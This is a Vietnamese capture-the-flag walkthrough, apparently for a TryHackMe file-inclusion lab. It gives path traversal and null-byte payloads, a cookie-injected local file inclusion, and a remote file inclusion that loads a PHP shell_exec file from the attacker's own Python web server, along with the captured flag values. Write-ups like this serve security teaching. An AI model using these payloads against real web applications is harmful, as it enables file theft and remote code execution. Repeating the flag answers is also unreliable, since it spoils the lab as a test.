Flag 1
Sử dụng Burp Suite, path và query string của request là:
/challenges/chall1.php?file=../
Bật tính năng intercept để chặn request. Chuột phải vào request, đổi HTTP method thành POST và forward.
Lỗi hiển thị cho biết current path là /var/www/html
(3 cấp thư mục).
Dùng path traversal 3 lần để đọc /etc/flag1
:
/challenges/chall1.php?file=../../../etc/flag1
Gửi lại request, đổi method thành POST và forward để lấy flag.
Success
F1x3d-iNpu7-f0rrn
Flag 2
Trang web yêu cầu reload để thiết lập cookie. Sau khi reload, giao diện hiển thị truy cập trái phép.
Bật intercept, ta thấy cookie có giá trị là Guest
. Chỉnh sửa cookie thành Admin
và forward request. Lỗi trả về cho thấy có một include đến includes/Admin.php
.
Lợi dụng lỗ hổng LFI, ta thay đổi giá trị cookie thành:
Cookie: THM=../../../../etc/flag2%00
Payload này sử dụng path traversal và null byte (%00
) để loại bỏ đuôi .php
. Forward request để lấy flag.
Success
c00k13_i5_yuMmy1
Flag 3
Path traversal và null byte thông thường không hoạt động. Hint cho biết trang web sử dụng $_REQUEST
để lấy dữ liệu từ GET, POST và COOKIE.
Thử đổi method thành POST, lỗi trả về khác đi. Gửi lại request ban đầu với path traversal đầy đủ và null byte, đồng thời đổi method thành POST, ta sẽ thu được flag.
/challenges/chall3.php?file=../../../etc/flag3%00
Success
P0st_1s_w0rk1in9
Flag 4
Để thực hiện RCE qua RFI, ta cần host một file thực thi trên server của mình và truyền đường dẫn vào trang web.
File thực thi cmd.txt
để lấy hostname
:
<?php
$output = shell_exec('hostname');
echo "<pre>$output</pre>";
?>
Chạy một web server đơn giản bằng Python:
python -m http.server 8080
File cmd.txt
sẽ có đường dẫn là http://<IP>:8080/cmd.txt
. Gửi request sau để lấy flag:
/playground.php?file=http://<IP>:8080/cmd.txt
Success
lfi-vm-thm-f8c5b1a78692